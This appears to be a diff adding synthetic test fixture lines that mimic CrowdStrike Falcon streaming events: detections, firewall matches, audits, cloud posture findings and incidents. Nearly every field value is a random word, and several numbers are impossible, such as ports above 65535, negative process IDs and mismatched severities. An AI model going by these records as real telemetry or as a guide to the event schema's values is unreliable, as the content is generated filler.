+{"metadata": {"customerIDString": "nobodyproblem","offset": -409318418,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "eithergroup","DetectName": "Sri-Lankanpack","DetectDescription": "reel xylophone waiter silence lawn king reel patrol water ability bag bikini mustering canoe tomatoes congregation manycatalog","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/toomuster?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 70,"SeverityName": "Low","Tactic": "sufficientchest","Technique": "ourvilla","Objective": "herekitchen","SourceAccountDomain": "itsfact","SourceAccountName": "thatriches","SourceAccountObjectSid": "allanger","SourceEndpointAccountObjectGuid": "Amazoniananswer","SourceEndpointAccountObjectSid": "whattree","SourceEndpointHostName": "myscold","SourceEndpointIpAddress": "243.191.118.101","SourceEndpointSensorId": "thosedamage","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "anycare","PatternId": 1498371416}}
+{"metadata": {"customerIDString": "someoneorange","offset": 1360025336,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "whichbutter","State": "open","FineScore": 3.269068915450038,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "somebodyproblem","HostID": "howmovement","LMHostIDs": ["itsparty"],"UserId": "theretree"}}
+{"metadata": {"customerIDString": "Putinistmuster","offset": -1421858061,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thatman","UserIp": "56.234.182.112","OperationName": "resetAuthSecret","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "drabedge","ValueString": "thisdynasty"}],"Attributes": {"actor_cid": "wheresafety","actor_user": "anythingcaravan","actor_user_uuid": "Torontonianpad","app_id": "longbody","saml_assertion": "wherecow","target_user": "fewcongregation","trace_id": "whosebook"}}}
+{"metadata": {"customerIDString": "Brazilianlibrary","offset": -1775525651,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "hisarmy","Region": "us-west-1","ResourceId": "mybunch","ResourceIdType": "nobodyobesity","ResourceName": "manypod","ResourceCreateTime": 0,"PolicyStatement": "thosebevy","PolicyId": -1563531110,"Severity": 82,"SeverityName": "Critical","CloudPlatform": "Swissbaby","CloudService": "hismouth","Disposition": "Passed","ResourceUrl": "Alpinecard","Finding": "everyoneboard","Tags": [{"Key": "yourharvest","ValueString": "Hinduguitar"}],"ReportUrl": "enough ofpatience","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "whyarchipelago","offset": 1100361421,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "scarygarlic","PolicyId": -508337642,"PolicyStatement": "South Americangain","CloudProvider": "eachkitchen","CloudService": "wheregirl","Severity": 0,"SeverityName": "Informational","EventAction": "nobodyapartment","EventSource": "Japaneseparty","EventCreatedTimestamp": 1663011160,"UserId": "cleartable","UserName": "doublebravery","UserSourceIp": "79.186.227.6","Tactic": "whichpharmacist","Technique": "anythingheap"}}
+{"metadata": {"customerIDString": "faithfulsedge","offset": -1153044861,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "Finnishgroup","Highlights": ["everythingcackle"],"MatchedTimestamp": 1686889114000,"RuleId": "anythingsafety","RuleName": "hungryyear","RuleTopic": "everybodyperson","RulePriority": "whichcase","ItemId": "theirfame","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "howpod","offset": -337225967,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 2039293594,"ProcessEndTime": 78241824,"ProcessId": -1204934519,"ParentProcessId": -1189832669,"ComputerName": "cooperativesoup","UserName": "Senegalesegarden","DetectName": "cleverworld","DetectDescription": "ring movement omen plane dynasty murder genetics gun shrimp severalforest","Severity": 0,"SeverityName": "Critical","FileName": "eitherchest","FilePath": "wherereel\\eitherchest","CommandLine": "C:\\Windows\\yourflock","SHA256String": "so fewream","MD5String": "gracefulplace","SHA1String": "whosemob","MachineDomain": "a little bitcovey","NetworkAccesses": [{"AccessType": -2079586564,"AccessTimestamp": 1751371565,"Protocol": "wherecleverness","LocalAddress": "215.12.217.211","LocalPort": 17654,"RemoteAddress": "159.133.111.242","RemotePort": 43615,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itsbale?_cid=xxxxxxx","SensorId": "whichhead","IOCType": "domain","IOCValue": "angrywheat","DetectId": "hisproduction","LocalIP": "145.186.39.187","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "itchyplan","Technique": "everybodymuster","Objective": "coupleriver","PatternDispositionDescription": "everyonetrust","PatternDispositionValue": -1306924973,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "itscompany","ParentCommandLine": "Polynesiandynasty","GrandparentImageFileName": "cleanband","GrandparentCommandLine": "onebatch","HostGroups": "thatmonkey","AssociatedFile": "realistickindness","PatternId": 1976579535}}
+{"metadata": {"customerIDString": "energeticmob","offset": 1498856336,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "finecrowd","Highlights": ["fewvilla"],"MatchedTimestamp": 1686889114000,"RuleId": "manytroop","RuleName": "theircase","RuleTopic": "doublecast","RulePriority": "mytea","ItemId": "howparty","ItemType": "6G_EXTERNAL","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "whatshower","offset": -423824685,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thisream","CustomerId": "everybodyfleet","Ipv": "174.242.82.175","CommandLine": "theirtribe","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": false,"Monitor": false},"HostName": "mygame","ICMPCode": "yourcompany","ICMPType": "thatrefrigerator","ImageFileName": "Swaziproduct","LocalAddress": "97.197.65.46","LocalPort": "30205","MatchCount": -1614755702,"MatchCountSinceLastReport": 1290226754,"NetworkProfile": "whydarkness","PID": "-475541700","PolicyName": "whatneck","PolicyID": "nopart","Protocol": "nonestand","RemoteAddress": "140.20.221.162","RemotePort": "69013","RuleAction": "nobodyuncle","RuleDescription": "hand work cello school jewelry philosophy cigarette team zealousdisregard","RuleFamilyID": "cleargovernment","RuleGroupName": "cooperativeposse","RuleName": "anymagazine","RuleId": "eithertrousers","Status": "itrabbit","Timestamp": 1751371830,"TreeID": "hundredspot"}}
+{"metadata": {"customerIDString": "Gaussianbundle","offset": -1609299796,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "onefrailty","IncidentDescription": "bale crowd production number case clump shower air party eye goal covey couch love thosehedge","Severity": 60,"SeverityName": "High","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "ouraircraft","UserName": "thesehealth","EndpointName": "plenty ofbody","EndpointIp": "68.77.236.181","Category": "Detections","NumbersOfAlerts": -1236398259,"NumberOfCompromisedEntities": -754867910,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anyoneidea?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "howroom","offset": 1622494791,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "muchdonkey","CustomerId": "severalclothing","Ipv": "227.251.4.204","CommandLine": "Indonesianregiment","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "itsemployment","ICMPCode": "manycovey","ICMPType": "whereanthology","ImageFileName": "Swazibox","LocalAddress": "1.133.86.146","LocalPort": "40133","MatchCount": -1141462530,"MatchCountSinceLastReport": 923730747,"NetworkProfile": "so fewcloud","PID": "1892271720","PolicyName": "littleleap","PolicyID": "mosttime","Protocol": "mygroup","RemoteAddress": "186.11.145.208","RemotePort": "33604","RuleAction": "Asianpack","RuleDescription": "holiday pollution mob sofa luxury captain regiment salt theresoap","RuleFamilyID": "ourgalaxy","RuleGroupName": "whereleap","RuleName": "Tibetancackle","RuleId": "wherewoman","Status": "theireye","Timestamp": 1751371830,"TreeID": "wherepack"}}
+{"metadata": {"customerIDString": "theirroom","offset": -1623094126,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "thatarmy","DetectName": "herelove","DetectDescription": "pound hand spaghetti patience group stand body logic regiment ability problem enthusiasm posse exaltation fleet cleverness batch clump army staff body sheaf sparsepharmacy","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/lemonyband?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 70,"SeverityName": "Low","Tactic": "howcrib","Technique": "fancysnow","Objective": "Dutchstack","SourceAccountDomain": "grumpyhorde","SourceAccountName": "widebatch","SourceAccountObjectSid": "therebook","SourceEndpointAccountObjectGuid": "ourcaravan","SourceEndpointAccountObjectSid": "Philippinesecond","SourceEndpointHostName": "giftedpod","SourceEndpointIpAddress": "63.39.212.117","SourceEndpointSensorId": "confusingworld","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "scarylibrary","PatternId": -247280516}}
+{"metadata": {"customerIDString": "hisquiver","offset": -1554087733,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "mygroup","PolicyId": 1880370031,"PolicyStatement": "therestraw","CloudProvider": "frailjuice","CloudService": "someonesocks","Severity": 86,"SeverityName": "Informational","EventAction": "dulllibrary","EventSource": "Bahraineanomen","EventCreatedTimestamp": 1663011160,"UserId": "herband","UserName": "whichchoker","UserSourceIp": "81.158.84.27","Tactic": "howbook","Technique": "heregroup"}}
+{"metadata": {"customerIDString": "thoseschool","offset": 1293418415,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thatman","UserIp": "77.245.46.214","OperationName": "selfAcceptEula","ServiceName": "detections","AuditKeyValues": [{"Key": "mylight","ValueString": "thereday"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "whyteam"}}}
+{"metadata": {"customerIDString": "thosething","offset": -163363404,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "onebed","UserIp": "168.23.53.99","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "thoseclass","ValueString": "whichwork"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "littleline"}}}
+{"metadata": {"customerIDString": "theirpoint","offset": 712655721,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "condemnedwad","HostnameField": "energeticspeed","UserName": "fewdynasty","StartTimestamp": 1582830734,"AgentIdString": "lots ofenvy"}}
+{"metadata": {"customerIDString": "thiscaravan","offset": 696373221,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "hispack","UserID": "whatgovernment","ExecutionID": "thosebox","ReportID": "Africandynasty","ReportName": "notail","ReportType": "poortea","ReportFileReference": "whichpoverty","Status": "nonedream","StatusMessage": "wherenest","ExecutionMetadata": {"ExecutionStart": 862719019,"ExecutionDuration": -312456531,"ReportFileName": "hundredcurrency","ResultCount": 2037711995,"ResultID": "innocentworld","SearchWindowStart": 2002378724,"SearchWindowEnd": 886305071}}}
+{"metadata": {"customerIDString": "fewgang","offset": 264264492,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Plutoniancoffee","PolicyId": -848441892,"PolicyStatement": "thistoothpaste","CloudProvider": "anyriches","CloudService": "nonepoint","Severity": 93,"SeverityName": "Medium","EventAction": "whylife","EventSource": "jealousleap","EventCreatedTimestamp": 1663011160,"UserId": "thishour","UserName": "whatoxygen","UserSourceIp": "141.244.35.219","Tactic": "Himalayanpatrol","Technique": "whosetrench coat"}}
+{"metadata": {"customerIDString": "Mayantrip","offset": 372428075,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "myclarity","UserID": "thatchild","ExecutionID": "howpod","ReportID": "thiscollection","ReportName": "thesecast","ReportType": "Taiwaneseproject","ReportFileReference": "repellingproduction","Status": "somebodyjersey","StatusMessage": "whatcrew","ExecutionMetadata": {"ExecutionStart": -968874194,"ExecutionDuration": -1986236896,"ReportFileName": "Confucianright","ResultCount": -827841076,"ResultID": "yourtroop","SearchWindowStart": -399355642,"SearchWindowEnd": -411107273}}}
+{"metadata": {"customerIDString": "whichlife","offset": -651006186,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "itscase","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\whichblender","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "host solitude pair back person mytiming","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hundredsgroup?_cid=xxxxxxx","FileName": "thosejuicer","FilePath": "Beethovenianelection\\thosejuicer","FilesAccessed": [{"FileName": "thosejuicer","FilePath": "Beethovenianelection\\thosejuicer","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "thosejuicer","FilePath": "Beethovenianelection\\thosejuicer","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\allthing","GrandParentImageFileName": "significantbale","GrandParentImageFilePath": "yourkangaroo\\significantbale","HostGroups": "everythingmurder","Hostname": "Brazilianmethod","LocalIP": "105.2.209.34","LocalIPv6": "180.201.206.109","LogonDomain": "Atlanticpack","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "numerousyear","Name": "insufficientproduct","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1854815222,"ConnectionDirection": 2,"IsIPV6": false,"LocalAddress": "29.28.201.90","LocalPort": 64866,"Protocol": "wherenap","RemoteAddress": "197.196.30.79","RemotePort": 57095}],"Objective": "somecatalog","ParentCommandLine": "C:\\Windows\\eithertroupe\\heavymustering","ParentImageFileName": "heavymustering","ParentImageFilePath": "sometheater\\heavymustering","ParentProcessId": 1544348969,"PatternDispositionDescription": "hostel pod goal refrigerator danger equipment safety dream school sedge part cackle mustering hair bill street company bale answer apartment theirwisp","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": -1815328339,"PatternId": 1901230339,"PlatformId": "theircare","PlatformName": "Mac","ProcessEndTime": 74838873,"ProcessId": 346232856,"ProcessStartTime": 665231140,"ReferrerUrl": "Alpinedisregard","SHA1String": "itway","SHA256String": "anygift","Severity": 39,"SeverityName": "High","SourceProducts": "whatcast","SourceVendors": "therearchipelago","Tactic": "anygroup","Technique": "fulltroop","Type": "ldt","UserName": "significantnecklace"}}
+{"metadata": {"customerIDString": "herscold","offset": -232359573,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "mostparty","UserID": "Intelligentroad","ExecutionID": "someonebattery","ReportID": "comfortablefactory","ReportName": "singlechapter","ReportType": "nonechest","ReportFileReference": "oneinformation","Status": "over thereoil","StatusMessage": "itswisdom","ExecutionMetadata": {"ExecutionStart": -386107758,"ExecutionDuration": -487472309,"ReportFileName": "Bismarckianscold","ResultCount": -1005099107,"ResultID": "whatwrist","SearchWindowStart": 1183411956,"SearchWindowEnd": 564657326}}}
+{"metadata": {"customerIDString": "theseevidence","offset": 1659127034,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "whatgeneration","CustomerId": "thatcare","Ipv": "147.243.60.212","CommandLine": "hundredsclass","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": true,"Monitor": true},"HostName": "nobodyshower","ICMPCode": "theseocean","ICMPType": "hugeream","ImageFileName": "whyelegance","LocalAddress": "101.155.223.92","LocalPort": "73825","MatchCount": -892950503,"MatchCountSinceLastReport": -360256119,"NetworkProfile": "whoseplant","PID": "-178846678","PolicyName": "thathandle","PolicyID": "Koreanpage","Protocol": "eacharchipelago","RemoteAddress": "232.232.18.172","RemotePort": "13070","RuleAction": "severalfather","RuleDescription": "river bulb ball mother mob lawyer severalthing","RuleFamilyID": "ourtowel","RuleGroupName": "helpfularmy","RuleName": "someonepacket","RuleId": "Torontonianposse","Status": "somechoir","Timestamp": 1751371830,"TreeID": "everyonebelief"}}
+{"metadata": {"customerIDString": "Englishcompany","offset": -1340580103,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Russiantoes","DetectName": "herebird","DetectDescription": "unemployment person man chaise longue board cigarette warmth care stack shirt salt cackle cast shirt imagination world mob divorce wealth stand whale a lotcrowd","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/variedposse?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 0,"SeverityName": "Low","Tactic": "littlecabinet","Technique": "yourpack","Objective": "a little bitegg","SourceAccountDomain": "hercompany","SourceAccountName": "excitingball","SourceAccountObjectSid": "whosemuster","SourceEndpointAccountObjectGuid": "allgroup","SourceEndpointAccountObjectSid": "anyevidence","SourceEndpointHostName": "Belgianboard","SourceEndpointIpAddress": "43.83.242.86","SourceEndpointSensorId": "a littlething","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "foolishteam","PatternId": -1824261729}}
+{"metadata": {"customerIDString": "whymob","offset": 1116714742,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -513079484,"ProcessEndTime": -762341576,"ProcessId": 437581571,"ParentProcessId": -457652587,"ComputerName": "thissand","UserName": "cooperativemusician","DetectName": "Jungianunemployment","DetectDescription": "tolerance orchard product power team thatbale","Severity": 5,"SeverityName": "High","FileName": "emptydollar","FilePath": "whosepod\\emptydollar","CommandLine": "C:\\Windows\\therehat","SHA256String": "halfstack","MD5String": "myveterinarian","SHA1String": "whatcravat","MachineDomain": "whichknowledge","NetworkAccesses": [{"AccessType": 340400892,"AccessTimestamp": 1751371565,"Protocol": "finecloud","LocalAddress": "39.14.109.119","LocalPort": 13340,"RemoteAddress": "152.249.254.224","RemotePort": 36886,"ConnectionDirection": 0,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/scarypod?_cid=xxxxxxx","SensorId": "whichchild","IOCType": "hash_sha256","IOCValue": "wearywealth","DetectId": "manycity","LocalIP": "9.206.114.254","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "a little bitchild","Technique": "Welshdisregard","Objective": "grumpyequipment","PatternDispositionDescription": "skirt brace mustering time eye salt beauty muddypod","PatternDispositionValue": 1470298048,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "Africancackle","ParentCommandLine": "cutestairs","GrandparentImageFileName": "alivecomfort","GrandparentCommandLine": "yourposse","HostGroups": "substantialemployment","AssociatedFile": "successfulbowl","PatternId": -1228625367}}
+{"metadata": {"customerIDString": "Confucianpoint","offset": -2128929409,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "homelesspart","PolicyId": -1028354393,"PolicyStatement": "abundantsleep","CloudProvider": "everybodygroup","CloudService": "heavyhost","Severity": 7,"SeverityName": "Critical","EventAction": "anyquality","EventSource": "selfishhost","EventCreatedTimestamp": 1663011160,"UserId": "Viennesecash","UserName": "yourbunch","UserSourceIp": "92.203.240.122","Tactic": "anythingweight","Technique": "whosearmy"}}
+{"metadata": {"customerIDString": "hisclass","offset": -845093918,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "joyousmustering","Region": "us-east-1","ResourceId": "numerouspack","ResourceIdType": "Guyanesevoice","ResourceName": "yourcluster","ResourceCreateTime": 0,"PolicyStatement": "nobodypatrol","PolicyId": 182778155,"Severity": 52,"SeverityName": "Informational","CloudPlatform": "Cormoranchoir","CloudService": "thismob","Disposition": "Passed","ResourceUrl": "significantparty","Finding": "naughtyposse","Tags": [{"Key": "theirbunch","ValueString": "whytroop"}],"ReportUrl": "variedday","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "elegantcase","offset": 1979368857,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "anypoint","HostnameField": "yourboy","UserName": "so fewworld","StartTimestamp": 1582830734,"AgentIdString": "proudboard"}}
+{"metadata": {"customerIDString": "Hitlerianbeauty","offset": -596861980,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "Lilliputianslavery","HostnameField": "awfulwealth","UserName": "thatcafe","StartTimestamp": 1582830734,"AgentIdString": "theirslavery"}}
+{"metadata": {"customerIDString": "itsconditioner","offset": 337202236,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "anyhorde","DetectName": "hundredsband","DetectDescription": "pasta child wisp knife book noise delay stack choir apartment management toilet owl idea account host man street time park window part shinyroom","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Intelligentpod?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 50,"SeverityName": "Informational","Tactic": "hundredspyramid","Technique": "Spanishpacket","Objective": "therechild","SourceAccountDomain": "howrange","SourceAccountName": "ourloss","SourceAccountObjectSid": "thattravel","SourceEndpointAccountObjectGuid": "outrageousbottle","SourceEndpointAccountObjectSid": "mystring","SourceEndpointHostName": "clearbook","SourceEndpointIpAddress": "31.228.65.165","SourceEndpointSensorId": "Christianidea","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "sparsebowl","PatternId": 1619711707}}
+{"metadata": {"customerIDString": "nocast","offset": 179318870,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "anythingapple","MobileDetectionId": -1512737247,"ComputerName": "poisedcast","UserName": "substantialposse","ContextTimeStamp": 1649061056,"DetectId": "anyonedynasty","DetectName": "everyonebakery","DetectDescription": "trip place train kindness luxury doctor religion wherebattery","Tactic": "filthything","TacticId": "spottedpiano","Technique": "Aristoteliangrade","TechniqueId": "thesepack","Objective": "eachcrowd","Severity": 24,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/over therecase?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "smilingscold","AndroidAppLabel": "enough ofmovement","DexFileHashes": "nobodytrip","ImageFileName": "dangerousgeneration","AppInstallerInformation": "hisliterature","IsBeingDebugged": false,"AndroidAppVersionName": "thatgalaxy","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "manycrowd","offset": -1012940335,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Senegalesepoverty","UserIp": "33.18.5.30","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "nonechild","ValueString": "fewflour"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "embarrassedtable"}}}
+{"metadata": {"customerIDString": "whichdisregard","offset": 990227271,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "whichparty","HostnameField": "whybrilliance","UserName": "thoughtfulnumber","StartTimestamp": 1582830734,"AgentIdString": "nobodyart"}}
+{"metadata": {"customerIDString": "yourbouquet","offset": -209806479,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "gentlequiver","State": "closed","FineScore": 7.892927816545352,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "somework","HostID": "nonestand","LMHostIDs": ["enoughtravel"],"UserId": "allclass"}}
+{"metadata": {"customerIDString": "someoneproblem","offset": -1098262491,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whatmotherhood","DataDomains": "Network","Description": "envy wealth shower fun board way case couch seed hail friend batch punctuation elegance party progress game neck friendship whosegossip","DetectId": "Canadiantiming","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "199.170.95.179","HostNames": "over therepanther","Name": "emptytroupe","PatternId": 2094324087,"Severity": 100,"SourceProducts": "hugepod","SourceVendors": "nobodyorchard","StartTimeEpoch": 1643317697728000000,"TacticIds": "anystrawberry","Tactics": "anyfact","TechniqueIds": "whybook","Techniques": "hissheaf","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "somebodyslavery","offset": 1805861405,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "hereweek","UserIp": "145.167.22.95","OperationName": "grantCustomerSubscriptions","ServiceName": "detections","AuditKeyValues": [{"Key": "Beethoveniangeneration","ValueString": "littleapp"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "whyhusband"}}}
+{"metadata": {"customerIDString": "theremurder","offset": -1369577687,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "somedeskpath","MobileDetectionId": -254520824,"ComputerName": "herechoir","UserName": "severalband","ContextTimeStamp": 1649061056,"DetectId": "thisgalaxy","DetectName": "yourbevy","DetectDescription": "whereworld","Tactic": "carefullake","TacticId": "youridea","Technique": "sillyhand","TechniqueId": "severalroad","Objective": "whosehomework","Severity": 17,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Slovakcompany?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "thosetiger","AndroidAppLabel": "heavychild","DexFileHashes": "whereconfusion","ImageFileName": "Antarcticnest","AppInstallerInformation": "Elizabethanpencil","IsBeingDebugged": false,"AndroidAppVersionName": "thathost","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "whichregiment","offset": -1643404773,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whichdynasty","Region": "us-east-2","ResourceId": "howgroup","ResourceIdType": "myboat","ResourceName": "thisdesktop","ResourceCreateTime": 0,"PolicyStatement": "someonecase","PolicyId": -1541774944,"Severity": 77,"SeverityName": "Informational","CloudPlatform": "Benineseinfancy","CloudService": "whereproject","Disposition": "Passed","ResourceUrl": "fullsupermarket","Finding": "Lilliputianshampoo","Tags": [{"Key": "thatbody","ValueString": "thatradio"}],"ReportUrl": "itstroupe","Timestamp": 1751371830}}
